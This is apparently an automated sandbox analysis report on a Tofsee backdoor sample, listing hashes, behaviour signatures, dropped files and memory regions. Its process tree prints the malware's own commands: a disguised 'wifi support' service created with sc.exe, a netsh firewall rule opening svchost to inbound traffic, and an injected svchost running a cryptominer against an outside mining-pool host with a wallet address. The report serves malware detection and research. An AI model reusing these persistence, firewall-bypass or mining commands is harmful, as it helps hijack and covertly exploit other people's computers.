Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    12-11-2020 14:36

General

  • Target

    38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe

  • Size

    11.3MB

  • MD5

    9c19fce163a1ae66e4be70fd7dfc003a

  • SHA1

    22c4f9f5c37574df08d676ff9cab6f50b7c01321

  • SHA256

    38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d

  • SHA512

    03392ceb68aca7832a903a3c00977c6b6e33f531112c1b7b6a5b6ff46ca9272f0b6e3235682d3ad64be4aa02657f70d6cf0469789162157f35f499a96481337a

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe
    "C:\Users\Admin\AppData\Local\Temp\38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oqhsltwn\
      2⤵
        PID:1720
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mvpumlgc.exe" C:\Windows\SysWOW64\oqhsltwn\
        2⤵
          PID:1196
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oqhsltwn binPath= "C:\Windows\SysWOW64\oqhsltwn\mvpumlgc.exe /d\"C:\Users\Admin\AppData\Local\Temp\38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:876
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description oqhsltwn "wifi internet conection"
            2⤵
              PID:1396
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start oqhsltwn
              2⤵
                PID:1644
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:624
            • C:\Windows\SysWOW64\oqhsltwn\mvpumlgc.exe
              C:\Windows\SysWOW64\oqhsltwn\mvpumlgc.exe /d"C:\Users\Admin\AppData\Local\Temp\38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1500
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:468
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1196

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\mvpumlgc.exe
              MD5

              8e2734bdee5a51a3ff7da6c13438de4a

              SHA1

              c129eca25ac9ace53d545da9261f78897df46b06

              SHA256

              bb612195623dcc0c4253d58e26426b71fcdc11e30ab2738b9c3233d7e10b77c8

              SHA512

              7bc87649a5467f69957d572bbc42348b9e9e9ff7f81a2fe42f158400d3af2b90ce457e6b1433f35dd30c28f1c51e8406bae3eab32a75c3b8efd3431fcb23040f

            • C:\Windows\SysWOW64\oqhsltwn\mvpumlgc.exe
              MD5

              8e2734bdee5a51a3ff7da6c13438de4a

              SHA1

              c129eca25ac9ace53d545da9261f78897df46b06

              SHA256

              bb612195623dcc0c4253d58e26426b71fcdc11e30ab2738b9c3233d7e10b77c8

              SHA512

              7bc87649a5467f69957d572bbc42348b9e9e9ff7f81a2fe42f158400d3af2b90ce457e6b1433f35dd30c28f1c51e8406bae3eab32a75c3b8efd3431fcb23040f

            • memory/468-19-0x00000000001F0000-0x00000000001F5000-memory.dmp
              Filesize

              20KB

            • memory/468-20-0x0000000005A10000-0x0000000005E1B000-memory.dmp
              Filesize

              4.0MB

            • memory/468-15-0x0000000000080000-0x0000000000095000-memory.dmp
              Filesize

              84KB

            • memory/468-18-0x0000000000170000-0x0000000000180000-memory.dmp
              Filesize

              64KB

            • memory/468-21-0x0000000000380000-0x0000000000387000-memory.dmp
              Filesize

              28KB

            • memory/468-13-0x0000000000080000-0x0000000000095000-memory.dmp
              Filesize

              84KB

            • memory/468-14-0x0000000000089A6B-mapping.dmp
            • memory/468-17-0x0000000000150000-0x0000000000156000-memory.dmp
              Filesize

              24KB

            • memory/468-16-0x0000000001C80000-0x0000000001E8F000-memory.dmp
              Filesize

              2.1MB

            • memory/624-10-0x0000000000000000-mapping.dmp
            • memory/876-5-0x0000000000000000-mapping.dmp
            • memory/1196-25-0x000000000018259C-mapping.dmp
            • memory/1196-23-0x00000000000F0000-0x00000000001E1000-memory.dmp
              Filesize

              964KB

            • memory/1196-3-0x0000000000000000-mapping.dmp
            • memory/1196-22-0x00000000000F0000-0x00000000001E1000-memory.dmp
              Filesize

              964KB

            • memory/1396-6-0x0000000000000000-mapping.dmp
            • memory/1500-12-0x0000000003550000-0x0000000003561000-memory.dmp
              Filesize

              68KB

            • memory/1500-11-0x0000000003485000-0x000000000349E000-memory.dmp
              Filesize

              100KB

            • memory/1644-7-0x0000000000000000-mapping.dmp
            • memory/1700-0-0x0000000003475000-0x000000000348E000-memory.dmp
              Filesize

              100KB

            • memory/1700-1-0x0000000003540000-0x0000000003551000-memory.dmp
              Filesize

              68KB

            • memory/1720-2-0x0000000000000000-mapping.dmp